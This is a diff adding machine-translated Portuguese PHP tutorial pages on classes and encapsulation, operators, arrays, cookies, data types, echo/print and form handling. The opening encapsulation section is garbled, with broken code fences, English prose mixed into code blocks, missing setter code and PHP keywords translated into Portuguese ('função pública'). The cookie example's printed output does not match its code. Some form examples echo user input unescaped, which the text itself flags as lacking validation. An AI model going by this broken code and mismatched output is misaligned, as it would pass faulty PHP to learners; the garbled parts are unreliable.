+Agora, não precisamos definir o nome, a idade e a altura de Jack separadamente e imprimi-los mais. Sempre que criamos o objeto Jack, apenas especificamos suas propriedades como parâmetros e eles serão impressos automaticamente com a ajuda do construtor. Nós também podemos colocar seus esportes favoritos e bebidas no parâmetro, se quisermos por
+
+especificando-os como parâmetros ao criar o objeto e colocando as linhas de eco dentro do construtor. Você pode visitar aqui para mais informações sobre a implementação do PHP de construtores. Nossa jornada OOP tem sido lenta, mas estável.
+
+### MANTENDO OS SEGREDOS DE UM HOMEM
+
+Se você notou que todas as variáveis ​​de classe (nome, idade, altura, fav _sports e fav_ drinks) são declaradas como públicas dentro da classe Man. Agora, depois de criar um objeto Man, temos acesso a todas as suas propriedades simplesmente chamando-as:
+
+```php
+<?php 
+ echo $jack->name; 
+ echo $jack->height; 
+```
+
+Mas e se quisermos manter certas coisas em segredo sobre o homem? Talvez ele não queira que todos saibam sua idade ... ou ... talvez ele só queira que certas pessoas conheçam suas bebidas favoritas. Podemos fazer isso acontecer alterando a visibilidade dessas propriedades de público para protegido e até mesmo privado.
+
+As propriedades públicas são acessíveis em qualquer lugar, dentro e fora da classe.
+
+As propriedades protegidas são acessíveis dentro da classe e dentro da (s) classe (s) infantil (es).
+
+Propriedades privadas têm a mesma visibilidade que protegidas, exceto que elas não podem ser acessadas pela (s) classe (s) infantil (is).
+
+Vamos falar sobre herdar uma classe em um pouco. Por enquanto, vamos tentar definir idade protegida e private\_drinks na classe Man.
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    // 1. Declare the variables 
+    public $name; 
+    protected $age; 
+    public $height; 
+    public $fav_sports; 
+    private $fav_drinks; 
+    ..... 
+    ..... 
+```
+
+Agora, se você tentar instanciar a classe e chamar idade e fav\_drinks, você receberá um erro.
+
+```php
+<?php 
+ $jack = new Man('Jack', 30, '6 feet'); 
+ 
+ echo $jack->age; 
+ // Fatal error:  Cannot access protected property Man::$age 
+ 
+ print_r($jack->fav_drinks); 
+ // Fatal error:  Cannot access private property Man::$fav_drinks 
+```
+
+### SETTERS E GETTERS
+
+Agora que protegemos a idade e as bebidas favoritas de Jack, como as acessamos exatamente e as atualizamos?
+
+Para obter as propriedades protegidas ou privadas, precisamos criar um método getter como este dentro da classe Man (observe que esse é um método de classe com visibilidade de público).
+
+```php
+<?php 
+ public function getAge() 
+ { 
+    return $this->age; 
+ } 
+```
+
+Agora podemos facilmente obter a idade de Jack chamando este método:
+
+```php
+<?php 
+ echo $jack->getAge(); 
+ 
+ Jack just realized he turned 31 last week, how do we update his age? Can't we just do this? 
+```
+
+php
+```
+Since age property is protected, we cannot access it directly outside the class whether to read it or update it. You will get a fatal error. 
+ 
+ `Fatal error:  Cannot access protected property Man::$age` 
+ 
+ In order to update a protected/private property, we need to create a setter method inside the class with public visibility. 
+```
+
+php
+```
+Now we can easily update Jack's age by just calling this setter method: 
+```
+
+php
+
+echo $ jack-> getAge (); // 31
+```
+We can also create setter and getter class methods for fav_drinks. Note that we have made the parameter for setFavDrinks optional. So, if you don't pass an array to setFavDrinks, it will default to an empty array. 
+```
+
+php
+
+função pública getFavDrinks () { return $ this-> fav\_drinks; }
+```
+To set Jack's fav_drinks: 
+```
+
+php
+
+Para obter fav\_drinks de Jack:
+
+```php
+<?php 
+ echo json_encode($jack->getFavDrinks()); 
+ // ["coffee","green tea"] 
+```
+
+Essa maneira de implementar e usar métodos de classe para recuperar e atualizar propriedades de classe é chamada de encapsulamento em Programação Orientada a Objetos. Também podemos definir visibilidade para métodos de classe da mesma forma que fizemos para propriedades de classe.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/operators/index.md b/client/src/guide/portuguese/php/operators/index.md
new file mode 100644
index 0000000000..2f46fe2b07
--- /dev/null
+++ b/client/src/guide/portuguese/php/operators/index.md
@@ -0,0 +1,13 @@
+---
+title: Operators
+localeTitle: Operadores
+---
+## Operadores
+
+O PHP contém todos os operadores normais que se esperaria encontrar em uma linguagem de programação.
+
+Um único "=" é usado como o operador de atribuição e um duplo "==" ou triplo "===" é usado para comparação.
+
+Os usuais “<” e “>” também podem ser usados ​​para comparação e “+ =” pode ser usado para adicionar um valor e atribuí-lo ao mesmo tempo.
+
+O mais notável é o uso do "." Para concatenar strings e ". =" Para acrescentar uma string ao final de outra.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-array/index.md b/client/src/guide/portuguese/php/php-array/index.md
new file mode 100644
index 0000000000..b796547e8b
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-array/index.md
@@ -0,0 +1,165 @@
+---
+title: Php Arrays
+localeTitle: Matrizes Php
+---
+Uma matriz é uma estrutura de dados que armazena um ou mais tipos semelhantes de valores em um único valor. Por exemplo, se você deseja armazenar 100 números, em vez de definir 100 variáveis, é fácil definir uma matriz de 100 comprimentos.
+
+Existem três tipos diferentes de matrizes e cada valor de matriz é acessado usando um ID c chamado de índice de matriz.
+
+Matriz numérica - Uma matriz com um índice numérico. Os valores são armazenados e acessados ​​de forma linear.
+
+Matriz associativa - Uma matriz com strings como índice. Isso armazena valores de elemento em associação com valores de chave em vez de em uma ordem de índice linear estrita.
+
+Matriz multidimensional - Um array contendo um ou mais arrays e valores é acessado usando múltiplos índices
+
+OBSERVAÇÃO - Funções de matriz incorporadas são fornecidas na referência de função PHP Array Functions
+
+### Matriz Numérica
+
+Essas matrizes podem armazenar números, seqüências de caracteres e qualquer objeto, mas seu índice será representado por números. Por padrão, o índice de array começa em zero.
+
+#### Exemplo
+
+A seguir, o exemplo mostrando como criar e acessar matrizes numéricas.
+
+Aqui nós usamos a função array () para criar um array. Esta função é explicada na referência de função.
+```
+<html> 
+   <body> 
+ 
+      <?php 
+         /* First method to create array. */ 
+         $numbers = array( 1, 2, 3, 4, 5); 
+ 
+         foreach( $numbers as $value ) { 
+            echo "Value is $value <br />"; 
+         } 
+ 
+         /* Second method to create array. */ 
+         $numbers[0] = "one"; 
+         $numbers[1] = "two"; 
+         $numbers[2] = "three"; 
+         $numbers[3] = "four"; 
+         $numbers[4] = "five"; 
+ 
+         foreach( $numbers as $value ) { 
+            echo "Value is $value <br />"; 
+         } 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+Value is 1 
+ Value is 2 
+ Value is 3 
+ Value is 4 
+ Value is 5 
+ Value is one 
+ Value is two 
+ Value is three 
+ Value is four 
+ Value is five 
+```
+
+### Matrizes Associativas
+
+Os arrays associativos são muito semelhantes aos arrays numéricos em termos de funcionalidade, mas são diferentes em termos de seu índice. O array associativo terá seu índice como string para que você possa estabelecer uma forte associação entre chave e valores.
+
+Para armazenar os salários dos funcionários em uma matriz, uma matriz numericamente indexada não seria a melhor escolha. Em vez disso, poderíamos usar os nomes dos funcionários como chaves em nossa matriz associativa, e o valor seria seu respectivo salário.
+
+OBSERVAÇÃO - Não mantenha o array associativo entre aspas duplas durante a impressão, caso contrário, ele não retornará nenhum valor.
+```
+Example 
+ <html> 
+   <body> 
+ 
+      <?php 
+         /* First method to associate create array. */ 
+         $salaries = array("mohammad" => 2000, "qadir" => 1000, "zara" => 500); 
+ 
+         echo "Salary of mohammad is ". $salaries['mohammad'] . "<br />"; 
+         echo "Salary of qadir is ".  $salaries['qadir']. "<br />"; 
+         echo "Salary of zara is ".  $salaries['zara']. "<br />"; 
+ 
+         /* Second method to create array. */ 
+         $salaries['mohammad'] = "high"; 
+         $salaries['qadir'] = "medium"; 
+         $salaries['zara'] = "low"; 
+ 
+         echo "Salary of mohammad is ". $salaries['mohammad'] . "<br />"; 
+         echo "Salary of qadir is ".  $salaries['qadir']. "<br />"; 
+         echo "Salary of zara is ".  $salaries['zara']. "<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+Salary of mohammad is 2000 
+ Salary of qadir is 1000 
+ Salary of zara is 500 
+ Salary of mohammad is high 
+ Salary of qadir is medium 
+ Salary of zara is low 
+```
+
+### Matrizes Multidimensionais
+
+Uma matriz multidimensional de cada elemento na matriz principal também pode ser uma matriz. E cada elemento na sub-matriz pode ser uma matriz e assim por diante. Valores no array multidimensional são acessados ​​usando vários índices.
+
+Exemplo Neste exemplo, criamos uma matriz bidimensional para armazenar marcas de três alunos em três disciplinas -
+
+Este exemplo é um array associativo, você pode criar um array numérico da mesma maneira.
+```
+<html> 
+   <body> 
+ 
+      <?php 
+         $marks = array( 
+            "mohammad" => array ( 
+               "physics" => 35, 
+               "maths" => 30, 
+               "chemistry" => 39 
+            ), 
+ 
+            "qadir" => array ( 
+               "physics" => 30, 
+               "maths" => 32, 
+               "chemistry" => 29 
+            ), 
+ 
+            "zara" => array ( 
+               "physics" => 31, 
+               "maths" => 22, 
+               "chemistry" => 39 
+            ) 
+         ); 
+ 
+         /* Accessing multi-dimensional array values */ 
+         echo "Marks for mohammad in physics : " ; 
+         echo $marks['mohammad']['physics'] . "<br />"; 
+ 
+         echo "Marks for qadir in maths : "; 
+         echo $marks['qadir']['maths'] . "<br />"; 
+ 
+         echo "Marks for zara in chemistry : " ; 
+         echo $marks['zara']['chemistry'] . "<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+Marks for mohammad in physics : 35 
+ Marks for qadir in maths : 32 
+ Marks for zara in chemistry : 39 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-cookies/index.md b/client/src/guide/portuguese/php/php-cookies/index.md
new file mode 100644
index 0000000000..d73d13afbd
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-cookies/index.md
@@ -0,0 +1,110 @@
+---
+title: PHP Cookies
+localeTitle: Cookies PHP
+---
+# COOKIES PHP
+
+## O que é um cookie?
+
+Um cookie é frequentemente usado para identificar um usuário. É um pequeno arquivo que o servidor incorpora no computador do usuário. Cada vez que o mesmo computador solicita uma página com um navegador, ele também enviará o cookie.  
+Os cookies foram projetados para serem um mecanismo confiável para lembrar informações com informações de estado ou para registrar a atividade de navegação do usuário.  
+Eles também podem ser usados ​​para lembrar partes arbitrárias de informações que o usuário inseriu anteriormente em campos de formulário, como nomes, endereços, senhas, etc.
+
+## Criando Cookies com PHP
+
+Com o PHP, você pode criar e recuperar valores de cookie. Um cookie é criado com a função setcookie ().
+
+`setcookie(name, value, expire, path, domain, secure, httponly);`
+
+Apenas o parâmetro _name_ é um parâmetro obrigatório. Todos os outros parâmetros são opcionais.
+
+## PHP criar / recuperar um cookie
+
+O exemplo a seguir cria um cookie chamado "user" com o valor "John Doe".  
+O cookie expirará após 30 dias (86400 \* 30).  
+O "/" significa que o cookie está disponível em todo o site (senão, você pode selecionar o diretório que preferir).  
+Em seguida, recuperamos o valor do cookie "user" (usando a variável global $ \_COOKIE).  
+Também usamos a função isset () para descobrir se o cookie está definido:
+
+**Exemplo:**
+```
+<?php 
+ $cookie_name = "user"; 
+ $cookie_value = "John Doe"; 
+ setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");  // 86400 = 1 day 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ if(!isset($_COOKIE[$cookie_name])) { 
+    echo "Cookie named '" . $cookie_name . "' is not set!"; 
+ } else { 
+    echo "Cookie '" . $cookie_name . "' is set!<br>"; 
+    echo "Value is: " . $_COOKIE[$cookie_name]; 
+ } 
+ ?> 
+ </body> 
+ </html> 
+```
+
+**Nota:** A função setcookie () deve aparecer **ANTES** da tag.
+
+Saída:  
+Cookie 'user' está definido!  
+O valor é: John Doe
+
+## PHP modificar um valor de cookie
+
+Para modificar um cookie, basta definir o valor novamente usando a função setcookie ():
+
+**Exemplo:**
+```
+<?php 
+ $cookie_name = "user"; 
+ $cookie_value = "Jane Porter"; 
+ setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ if(!isset($_COOKIE[$cookie_name])) { 
+    echo "Cookie named '" . $cookie_name . "' is not set!"; 
+ } else { 
+    echo "Cookie '" . $cookie_name . "' is set!<br>"; 
+    echo "Value is: " . $_COOKIE[$cookie_name]; 
+ } 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+Saída:  
+Cookie 'user' está definido!  
+O valor é: Alex Porter
+
+## Excluir um cookie do PHP
+
+Para excluir um cookie, use a função setcookie () com uma data de expiração no passado:
+
+**Exemplo:**
+```
+<?php 
+ // set the expiration date to one hour ago 
+ setcookie("user", "", time() - 3600); 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ echo "Cookie 'user' is deleted."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+Saída:  
+Cookie 'user' é deletado.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-data-types/index.md b/client/src/guide/portuguese/php/php-data-types/index.md
new file mode 100644
index 0000000000..f3336b0a79
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-data-types/index.md
@@ -0,0 +1,104 @@
+---
+title: PHP Data Types
+localeTitle: Tipos de dados PHP
+---
+# Tipos de dados PHP
+
+Variáveis ​​podem armazenar dados de diferentes tipos, como:
+
+*   String ("Olá")
+*   Inteiro (5)
+*   Flutuante (também chamado de duplo) (1.0)
+*   Booleano (1 ou 0)
+*   Array (array ("eu", "sou", "uma", "matriz"))
+*   Objeto
+*   NULO
+*   Recurso
+
+## String PHP
+
+Uma string é uma sequência de caracteres. Pode ser qualquer texto entre aspas (simples ou duplo):
+
+#### Exemplo
+```
+$x = "Hello!"; 
+ $y = 'Hello!'; 
+```
+
+## PHP Integer
+
+Um tipo de dados inteiro é um número não decimal entre -2.147.483.648 e 2.147.483.647.
+
+Regras para números inteiros:
+
+*   Um inteiro deve ter pelo menos um dígito
+*   Um inteiro não deve ter um ponto decimal
+*   Um inteiro pode ser positivo ou negativo
+*   Os inteiros podem ser especificados em três formatos: decimal (baseado em 10), hexadecimal (baseado em 16 - prefixado com 0x) ou octal (baseado em 8 - prefixado com 0)
+
+#### Exemplo
+
+`$x = 5;`
+
+## PHP Float
+
+Um float (número de ponto flutuante) é um número com um ponto decimal ou um número no formato exponencial.
+
+#### Exemplo
+
+`$x = 5.01;`
+
+## PHP booleano
+
+Um booleano representa dois estados possíveis: VERDADEIRO ou FALSO. Booleanos são frequentemente usados ​​em testes condicionais.
+```
+$x = true; 
+ $y = false; 
+```
+
+## Matriz PHP
+
+Uma matriz armazena vários valores em uma única variável.
+
+`$colours = array("Blue","Purple","Pink");`
+
+## Valor PHP NULL
+
+Nulo é um tipo de dados especial que pode ter apenas um valor: NULL.  
+Uma variável do tipo de dados NULL é uma variável que não possui nenhum valor atribuído a ela.  
+Variáveis ​​também podem ser esvaziadas definindo o valor como NULL.
+
+**Nota:** Se uma variável é criada sem um valor, é atribuído automaticamente um valor de NULL.
+```
+<?php 
+ $x = "Hello world!"; 
+ $x = null; 
+ ?> 
+```
+
+Saída:  
+NULO
+
+## Objeto PHP
+
+Um objeto é um tipo de dados que armazena dados e informações sobre como processar esses dados.  
+No PHP, um objeto deve ser explicitamente declarado.  
+Primeiro devemos declarar uma classe de objeto. Uma classe é uma estrutura que pode conter propriedades e métodos.
+
+**Exemplo:**
+```
+<?php 
+ class Car { 
+    function Car() { 
+        $this->model = "VW"; 
+    } 
+ } 
+ 
+ // create an object 
+ $herbie = new Car(); 
+ 
+ // show object properties 
+ echo $herbie->model; 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-echo-print/index.md b/client/src/guide/portuguese/php/php-echo-print/index.md
new file mode 100644
index 0000000000..2d12ca25f3
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-echo-print/index.md
@@ -0,0 +1,89 @@
+---
+title: PHP 5 echo and print Statements
+localeTitle: Declarações de eco e impressão do PHP 5
+---
+No PHP, existem duas maneiras básicas de obter saída: echo e print.
+
+Neste tutorial, usamos echo (e print) em quase todos os exemplos. Portanto, este capítulo contém um pouco mais de informação sobre essas duas declarações de saída.
+
+### Instruções de echo e impressão do PHP
+
+eco e impressão são mais ou menos os mesmos. Ambos são usados ​​para enviar dados para a tela.
+
+As diferenças são pequenas: o eco não tem valor de retorno enquanto a impressão tem um valor de retorno de 1, portanto, ele pode ser usado em expressões. O echo pode ter vários parâmetros (embora esse uso seja raro) enquanto a impressão pode receber um argumento. O eco é ligeiramente mais rápido que o impresso.
+
+### A declaração PHP echo
+
+A instrução echo pode ser usada com ou sem parênteses: echo ou echo ().
+
+#### Exibir texto
+
+O exemplo a seguir mostra como enviar o texto com o comando echo (observe que o texto pode conter marcação HTML):
+
+#### Exemplo
+
+```php
+<?php 
+ echo "<h2>PHP is Fun!</h2>"; 
+ echo "Hello world!<br>"; 
+ echo "I'm about to learn PHP!<br>"; 
+ echo "This ", "string ", "was ", "made ", "with multiple parameters."; 
+ ?> 
+```
+
+#### Exibir variáveis
+
+O exemplo a seguir mostra como gerar texto e variáveis ​​com a instrução echo:
+
+#### Exemplo
+
+```php
+<?php 
+ $txt1 = "Learn PHP"; 
+ $txt2 = "W3Schools.com"; 
+ $x = 5; 
+ $y = 4; 
+ 
+ echo "<h2>" . $txt1 . "</h2>"; 
+ echo "Study PHP at " . $txt2 . "<br>"; 
+ echo $x + $y; 
+ ?> 
+```
+
+### A declaração de impressão do PHP
+
+A declaração de impressão pode ser usada com ou sem parênteses: imprimir ou imprimir ().
+
+#### Exibir texto
+
+O exemplo a seguir mostra como gerar texto com o comando print (observe que o texto pode conter marcação HTML):
+
+#### Exemplo
+
+```php
+<?php 
+ print "<h2>PHP is Fun!</h2>"; 
+ print "Hello world!<br>"; 
+ print "I'm about to learn PHP!"; 
+ ?> 
+```
+
+#### Exibir variáveis
+
+O exemplo a seguir mostra como gerar texto e variáveis ​​com a instrução print:
+
+#### Exemplo
+
+```php
+<?php 
+ $txt1 = "Learn PHP"; 
+ $txt2 = "W3Schools.com"; 
+ $x = 5; 
+ $y = 4; 
+ 
+ print "<h2>" . $txt1 . "</h2>"; 
+ print "Study PHP at " . $txt2 . "<br>"; 
+ print $x + $y; 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-expressions/index.md b/client/src/guide/portuguese/php/php-expressions/index.md
new file mode 100644
index 0000000000..9db710e3db
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: PHP Expressions
+localeTitle: Expressões PHP
+---
+## Expressões PHP
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-expressions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-form-handling/index.md b/client/src/guide/portuguese/php/php-form-handling/index.md
new file mode 100644
index 0000000000..65459ec2e8
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-form-handling/index.md
@@ -0,0 +1,113 @@
+---
+title: PHP 5 Form Handling
+localeTitle: Manipulação de Formulários PHP 5
+---
+Os superglobais PHP $ _GET e $_ POST são usados ​​para coletar dados de formulário.
+
+### PHP - Um formulário HTML simples
+
+O exemplo abaixo exibe um formulário HTML simples com dois campos de entrada e um botão de envio:
+
+#### Exemplo
+
+```php
+<html> 
+ <body> 
+ 
+ <form action="welcome.php" method="post"> 
+ Name: <input type="text" name="name"><br> 
+ E-mail: <input type="text" name="email"><br> 
+ <input type="submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+```
+
+Quando o usuário preenche o formulário acima e clica no botão de envio, os dados do formulário são enviados para processamento em um arquivo PHP chamado "welcome.php". Os dados do formulário são enviados com o método HTTP POST.
+
+Para exibir os dados enviados, você poderia simplesmente fazer eco de todas as variáveis. O "welcome.php" é assim:
+
+```php
+<html> 
+ <body> 
+ 
+ Welcome <?php echo $_POST["name"]; ?><br> 
+ Your email address is: <?php echo $_POST["email"]; ?> 
+ 
+ </body> 
+ </html> 
+```
+
+A saída poderia ser algo assim:
+```
+Welcome John 
+ Your email address is john.doe@example.com 
+```
+
+O mesmo resultado também pode ser obtido usando o método HTTP GET:
+
+#### Exemplo
+
+```php
+<html> 
+ <body> 
+ 
+ <form action="welcome_get.php" method="get"> 
+ Name: <input type="text" name="name"><br> 
+ E-mail: <input type="text" name="email"><br> 
+ <input type="submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+```
+
+e "welcome\_get.php" é assim:
+
+```php
+<html> 
+ <body> 
+ 
+ Welcome <?php echo $_GET["name"]; ?><br> 
+ Your email address is: <?php echo $_GET["email"]; ?> 
+ 
+ </body> 
+ </html> 
+```
+
+O código acima é bem simples. No entanto, o mais importante está faltando. Você precisa validar os dados do formulário para proteger seu script contra códigos maliciosos.
+
+> **Pense em SEGURANÇA ao processar formulários PHP!**
+> 
+> Esta página não contém nenhuma validação de formulário, apenas mostra como você pode enviar e recuperar dados de formulário.
+> 
+> No entanto, as próximas páginas mostrarão como processar formulários PHP com a segurança em mente! A validação adequada dos dados do formulário é importante para proteger seu formulário contra hackers e spammers!
+
+### GET vs. POST
+
+Tanto o GET quanto o POST criam uma matriz (por exemplo, matriz (chave => valor, chave2 => valor2, chave3 => valor3,…)). Essa matriz contém pares de chave / valor, em que as chaves são os nomes dos controles de formulário e os valores são os dados de entrada do usuário.
+
+Tanto o GET quanto o POST são tratados como $ _GET e $_ POST. São superglobais, o que significa que estão sempre acessíveis, independentemente do escopo - e você pode acessá-los de qualquer função, classe ou arquivo sem precisar fazer nada especial.
+
+$ \_GET é uma matriz de variáveis ​​passadas para o script atual por meio dos parâmetros de URL.
+
+$ \_POST é uma matriz de variáveis ​​passadas para o script atual através do método HTTP POST.
+
+### Quando usar o GET?
+
+As informações enviadas de um formulário com o método GET ficam visíveis para todos (todos os nomes e valores de variáveis ​​são exibidos no URL). O GET também tem limites na quantidade de informação a ser enviada. A limitação é de cerca de 2000 caracteres. No entanto, como as variáveis ​​são exibidas na URL, é possível marcar a página como favorito. Isso pode ser útil em alguns casos.
+
+GET pode ser usado para enviar dados não confidenciais.
+
+**Nota:** GET nunca deve ser usado para enviar senhas ou outras informações confidenciais!
+
+### Quando usar o POST?
+
+As informações enviadas de um formulário com o método POST são **invisíveis para os outros** (todos os nomes / valores são incorporados ao corpo da solicitação HTTP) e **não** têm **limites** quanto à quantidade de informações a serem enviadas.
+
+Além disso, o POST suporta funcionalidades avançadas, como suporte para entrada binária multi-parte, ao carregar arquivos para o servidor.
+
+No entanto, como as variáveis ​​não são exibidas na URL, não é possível marcar a página como favorito.
+
+> **Os desenvolvedores preferem o POST para enviar dados de formulário.**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-form-required/index.md b/client/src/guide/portuguese/php/php-form-required/index.md
new file mode 100644
index 0000000000..7c0cbdef40
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-form-required/index.md
@@ -0,0 +1,89 @@
+---
+title: PHP 5 Forms - Required Fields
+localeTitle: Formulários PHP 5 - Campos Obrigatórios
+---
+Este capítulo mostra como tornar os campos de entrada necessários e criar mensagens de erro, se necessário.
+
+### PHP - campos obrigatórios
+
+Na tabela de regras de validação da página anterior, vemos que os campos "Nome", "E-mail" e "Sexo" são obrigatórios. Esses campos não podem estar vazios e devem ser preenchidos no formulário HTML.
+
+| Campo | Regras de Validação | | --- | --- | Nome | Obrigatório. + Deve conter apenas letras e espaços em branco | | E-mail | Obrigatório. + Deve conter um endereço de email válido (com @ e.) | | Website | Opcional. Se presente, deve conter um URL válido | Comentário | Opcional. Campo de entrada de várias linhas (textarea) | | Gênero | Obrigatório. Deve selecionar um |
+
+No capítulo anterior, todos os campos de entrada eram opcionais.
+
+No código a seguir, adicionamos algumas novas variáveis: $ nameErr, $ emailErr, $ genderErr e $ websiteErr. Essas variáveis ​​de erro conterão mensagens de erro para os campos obrigatórios. Nós também adicionamos uma instrução if else para cada _variável_ $ _POST. Isso verifica se a_ variável _$_ POST está vazia (com a função PHP empty ()). Se estiver vazio, uma mensagem de erro é armazenada nas diferentes variáveis ​​de erro e, se não estiver vazia, envia os dados de entrada do usuário por meio da função test\_input ():
+
+```php
+<?php 
+ // define variables and set to empty values 
+ $nameErr = $emailErr = $genderErr = $websiteErr = ""; 
+ $name = $email = $gender = $comment = $website = ""; 
+ 
+ if ($_SERVER["REQUEST_METHOD"] == "POST") { 
+  if (empty($_POST["name"])) { 
+    $nameErr = "Name is required"; 
+  } else { 
+    $name = test_input($_POST["name"]); 
+  } 
+ 
+  if (empty($_POST["email"])) { 
+    $emailErr = "Email is required"; 
+  } else { 
+    $email = test_input($_POST["email"]); 
+  } 
+ 
+  if (empty($_POST["website"])) { 
+    $website = ""; 
+  } else { 
+    $website = test_input($_POST["website"]); 
+  } 
+ 
+  if (empty($_POST["comment"])) { 
+    $comment = ""; 
+  } else { 
+    $comment = test_input($_POST["comment"]); 
+  } 
+ 
+  if (empty($_POST["gender"])) { 
+    $genderErr = "Gender is required"; 
+  } else { 
+    $gender = test_input($_POST["gender"]); 
+  } 
+ } 
+ ?> 
+```
+
+### PHP - Exibe as mensagens de erro
+
+Em seguida, no formulário HTML, adicionamos um pequeno script após cada campo obrigatório, que gera a mensagem de erro correta, se necessário (ou seja, se o usuário tentar enviar o formulário sem preencher os campos obrigatórios):
+
+#### Exemplo
+
+```php
+<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> 
+ 
+ Name: <input type="text" name="name"> 
+ <span class="error">* <?php echo $nameErr;?></span> 
+ <br><br> 
+ E-mail: 
+ <input type="text" name="email"> 
+ <span class="error">* <?php echo $emailErr;?></span> 
+ <br><br> 
+ Website: 
+ <input type="text" name="website"> 
+ <span class="error"><?php echo $websiteErr;?></span> 
+ <br><br> 
+ Comment: <textarea name="comment" rows="5" cols="40"></textarea> 
+ <br><br> 
+ Gender: 
+ <input type="radio" name="gender" value="female">Female 
+ <input type="radio" name="gender" value="male">Male 
+ <span class="error">* <?php echo $genderErr;?></span> 
+ <br><br> 
+ <input type="submit" name="submit" value="Submit"> 
+ 
+ </form> 
+```
+
+A próxima etapa é validar os dados de entrada, ou seja, "O campo Nome contém apenas letras e espaços em branco?" E "O campo E-mail contém uma sintaxe de endereço de e-mail válida?" E, se preenchido, " O campo Website contém um URL válido? "
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-forms-url-email/index.md b/client/src/guide/portuguese/php/php-forms-url-email/index.md
new file mode 100644
index 0000000000..40366d54c3
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-forms-url-email/index.md
@@ -0,0 +1,101 @@
+---
+title: PHP 5 Forms - Validate E-mail and URL
+localeTitle: Formulários PHP 5 - Valide E-mail e URL
+---
+Este capítulo mostra como validar nomes, e-mails e URLs.
+
+### PHP - Nome de Validação
+
+O código abaixo mostra uma maneira simples de verificar se o campo de nome contém apenas letras e espaço em branco. Se o valor do campo de nome não for válido, armazene uma mensagem de erro:
+
+```php
+$name = test_input($_POST["name"]); 
+ if (!preg_match("/^[a-zA-Z ]*$/",$name)) { 
+  $nameErr = "Only letters and white space allowed"; 
+ } 
+```
+
+> **A função preg\_match () procura uma string por padrão, retornando true se o padrão existir, e false caso contrário.**
+
+### PHP - Validar E-mail
+
+A maneira mais fácil e segura de verificar se um endereço de e-mail é bem formado é usar a função filter\_var () do PHP.
+
+No código abaixo, se o endereço de e-mail não for bem formado, armazene uma mensagem de erro:
+
+```php
+$email = test_input($_POST["email"]); 
+ if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { 
+  $emailErr = "Invalid email format"; 
+ } 
+```
+
+### PHP - Validar URL
+
+O código abaixo mostra uma maneira de verificar se uma sintaxe de endereço de URL é válida (essa expressão regular também permite traços na URL). Se a sintaxe do endereço de URL não for válida, armazene uma mensagem de erro:
+
+```php
+$website = test_input($_POST["website"]); 
+ if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { 
+  $websiteErr = "Invalid URL"; 
+ } 
+```
+
+### PHP - Validar Nome, E-mail e URL
+
+Agora, o script é assim:
+
+#### Exemplo
+
+```php
+<?php 
+ // define variables and set to empty values 
+ $nameErr = $emailErr = $genderErr = $websiteErr = ""; 
+ $name = $email = $gender = $comment = $website = ""; 
+ 
+ if ($_SERVER["REQUEST_METHOD"] == "POST") { 
+  if (empty($_POST["name"])) { 
+    $nameErr = "Name is required"; 
+  } else { 
+    $name = test_input($_POST["name"]); 
+    // check if name only contains letters and whitespace 
+    if (!preg_match("/^[a-zA-Z ]*$/",$name)) { 
+      $nameErr = "Only letters and white space allowed"; 
+    } 
+  } 
+ 
+  if (empty($_POST["email"])) { 
+    $emailErr = "Email is required"; 
+  } else { 
+    $email = test_input($_POST["email"]); 
+    // check if e-mail address is well-formed 
+    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { 
+      $emailErr = "Invalid email format"; 
+    } 
+  } 
+ 
+  if (empty($_POST["website"])) { 
+    $website = ""; 
+  } else { 
+    $website = test_input($_POST["website"]); 
+    // check if URL address syntax is valid (this regular expression also allows dashes in the URL) 
+    if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { 
+      $websiteErr = "Invalid URL"; 
+    } 
+  } 
+ 
+  if (empty($_POST["comment"])) { 
+    $comment = ""; 
+  } else { 
+    $comment = test_input($_POST["comment"]); 
+  } 
+ 
+  if (empty($_POST["gender"])) { 
+    $genderErr = "Gender is required"; 
+  } else { 
+    $gender = test_input($_POST["gender"]); 
